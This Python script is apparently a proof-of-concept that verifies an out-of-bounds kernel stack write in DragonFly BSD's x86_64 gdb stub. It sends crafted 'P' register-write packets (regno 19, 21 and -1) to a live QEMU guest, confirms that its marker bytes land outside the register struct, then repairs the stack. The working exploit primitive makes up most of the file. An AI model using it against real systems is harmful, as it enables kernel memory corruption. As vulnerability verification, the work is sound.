#!/usr/bin/env python3
# exp_p_oob.py -- DF-2361 verification: 'P' packet out-of-bounds stack write.
#
# Claim (sys/cpu/x86_64/misc/x86_64-gdbstub.c:561-578):
#   P handler validates regno only with `regno < NUM_REGS` (NUM_REGS=22,
#   line 442) but `struct x86_64regs registers` is 152 bytes = 19 slots.
#   - regno 19/20/21 -> hex2mem writes 8 attacker bytes at &registers+152/160/168
#     (past the end of the 152-byte stack object);
#   - hexToInt() (line 384) accepts "ffffffff" -> regno = -1 (int), passes
#     regno < 22 -> write at &registers-8.
#
# Proof strategy, entirely through the REAL stub on the live guest:
#   1. enter stub (root sysctl debug.enter_debugger=gdb -- the sanctioned
#      activation; attacker model: whoever talks to the gdb debug console),
#   2. 'g' packet -> 304 hex chars => sizeof(registers)==152 (structure proof),
#   3. locate &registers on the stopped stack by matching the T05 rip/rbp/rsp
#      triple at struct offsets 128/48/56,
#   4. in-bounds control: P18 (offset 144, cs/ss slot),
#   5. OOB: P19 -> bytes appear at &registers+152..159, fully attacker-chosen,
#      struct itself untouched,
#   6. OOB far: P21 -> &registers+168..175,
#   7. negative index: Pffffffff (regno=-1) -> &registers-8..-1,
#   8. repair everything, detach ('D'), guest keeps running.
import sys, os, time, subprocess, json
sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__))))
from rsp import SerialPeer, parse_t05, cks

SOCK = os.environ.get("DF_SOCK", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/df236x/ser.sock")
VMSH = os.environ.get("DF_VMSH", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/vm.sh")
RAWLOG = os.environ.get("DF_RAWLOG", "/tmp/opencode/p2361-raw.log")

P21 = 0x4141414141414141  # never written; marker comment only

def hx(v): return "%016x" % v

def main():
    results = {}
    p = SerialPeer(SOCK, RAWLOG, name="p-oob")
    print("[*] triggering stub entry via sysctl debug.enter_debugger=gdb (root ssh)")
    try:
        subprocess.run([VMSH, "run_root", "sysctl -w debug.enter_debugger=gdb"],
                       timeout=8, capture_output=True)
    except subprocess.TimeoutExpired:
        print("[*] ssh blocked as expected (kernel stopped in stub)")
    m = p.wait(r"\$T[0-9a-fA-F]{2}[^#]*#[0-9a-fA-F]{2}", 25)
    if m is None:
        print("[!] no T-packet from stub -- FAIL"); p.close(); sys.exit(2)
    t05 = parse_t05(m.group(0)[1:-3].decode())
    p.send(b"+")          # release stub's putpacket loop
    print("[+] stub handshake: T05 fields rip=%s rbp=%s rsp=%s" %
          (t05.get("10"), t05.get("06"), t05.get("07")))
    rsp = int(t05["07"], 16)

    r = p.pkt("?")
    print("[+] '?' -> %r" % r); results["question"] = r

    # --- structural proof: sizeof(registers) ---
    g = p.pkt("g")
    print("[+] 'g' reply length = %d hex chars => sizeof(registers) = %d bytes" %
          (len(g), len(g)//2))
    results["g_len"] = len(g)
    assert len(g) == 304, "unexpected register size"

    # --- locate &registers on the stopped stack ---
    base = (rsp - 0x700) & ~7
    blob = p.read_mem(base, 0x780)
    if blob is None:
        print("[!] stack read failed"); p.close(); sys.exit(2)
    rip = int(t05["10"], 16); rbp = int(t05["06"], 16)
    A = None
    for off in range(0, len(blob) - 152, 8):
        if int.from_bytes(blob[off+128:off+136], "little") == rip and \
           int.from_bytes(blob[off+56:off+64], "little") == rsp and \
           int.from_bytes(blob[off+48:off+56], "little") == rbp:
            A = base + off
            break
    if A is None:
        print("[!] could not locate registers struct"); p.close(); sys.exit(2)
    print("[+] &registers = 0x%x (tf_rsp=0x%x, delta=%d)" % (A, rsp, A - rsp))
    results["registers_va"] = hex(A)

    before = p.read_mem(A - 0x20, 0xE0)
    print("[*] stack around &registers (before):")
    for i in range(0, len(before), 32):
        print("    0x%x: %s" % (A - 0x20 + i, before[i:i+32].hex()))

    def slot(addr):
        return p.read_mem(addr, 8)

    # --- 1) in-bounds control: P18 -> cs/ss slot at offset 144 ---
    r = p.pkt("P18=" + "0011223344556677")
    b = slot(A + 144)
    ok18 = (r == "OK" and b == bytes.fromhex("7766554433221100"))
    print("[%s] P18 (offset 144, in-bounds): reply=%r bytes=%s" %
          ("+" if ok18 else "-", r, b.hex()))
    results["P18_inbounds"] = ok18

    # --- 2) OOB write: P19 -> &registers+152..159 ---
    marker = "a1a2a3a4a5a6a7a8"
    r = p.pkt("P19=" + marker)
    b = slot(A + 152)
    struct_ok = p.read_mem(A, 152) == before[0x20:0x20+152]
    ok19 = (r == "OK" and b == bytes.fromhex(marker)[::-1])
    print("[%s] P19 (offset 152, OUT OF BOUNDS): reply=%r bytes_at_A+152=%s struct_untouched=%s"
          % ("+" if ok19 else "-", r, b.hex(), struct_ok))
    results["P19_oob"] = bool(ok19 and struct_ok)

    # --- 3) OOB write far: P21 -> &registers+168..175 ---
    marker2 = "feedfacecafebeef"
    r = p.pkt("P21=" + marker2)
    b = slot(A + 168)
    ok21 = (r == "OK" and b == bytes.fromhex(marker2)[::-1])
    print("[%s] P21 (offset 168, OUT OF BOUNDS): reply=%r bytes_at_A+168=%s" %
          ("+" if ok21 else "-", r, b.hex()))
    results["P21_oob"] = ok21

    # --- 4) negative index: Pffffffff -> regno=-1 -> &registers-8 ---
    marker3 = "deadbeefbaadf00d"
    r = p.pkt("Pffffffff=" + marker3)
    b = slot(A - 8)
    okneg = (r == "OK" and b == bytes.fromhex(marker3)[::-1])
    print("[%s] Pffffffff (regno=-1, &registers-8): reply=%r bytes_at_A-8=%s" %
          ("+" if okneg else "-", r, b.hex()))
    results["Pneg_oob"] = okneg

    after = p.read_mem(A - 0x20, 0xE0)
    print("[*] stack around &registers (after):")
    for i in range(0, len(after), 32):
        print("    0x%x: %s" % (A - 0x20 + i, after[i:i+32].hex()))

    # --- repair so the guest survives for the next experiments ---
    rep = []
    rep.append(("P18=" + before[0x20+144:0x20+152][::-1].hex()))
    rep.append(("P19=" + before[0x20+152:0x20+160][::-1].hex()))
    rep.append(("P21=" + before[0x20+168:0x20+176][::-1].hex()))
    rep.append(("Pffffffff=" + before[0x20-8:0x20][::-1].hex()))
    for cmd in rep:
        rr = p.pkt(cmd)
        print("[*] repair %r -> %r" % (cmd, rr))
    fixed = p.read_mem(A - 0x20, 0xE0) == before
    print("[%s] repair verified: stack restored = %s" % ("+" if fixed else "-", fixed))
    results["repaired"] = fixed

    # what lives above the struct? dump for the record
    above = p.read_mem(A + 152, 0x50)
    print("[*] bytes above struct (A+152..A+202): %s" % above.hex())

    d = p.pkt("D")
    print("[+] detach 'D' -> %r" % d)
    results["detach"] = d
    # keep reading serial a moment to confirm the kernel resumed
    p.wait(r" restarted|db: |panic", 10)
    time.sleep(2)
    p.pump()
    p.close()
    print("[RESULT] " + json.dumps(results))
    ok = results.get("P19_oob") and results.get("P21_oob") and results.get("Pneg_oob")
    sys.exit(0 if ok else 1)

if __name__ == "__main__":
    main()
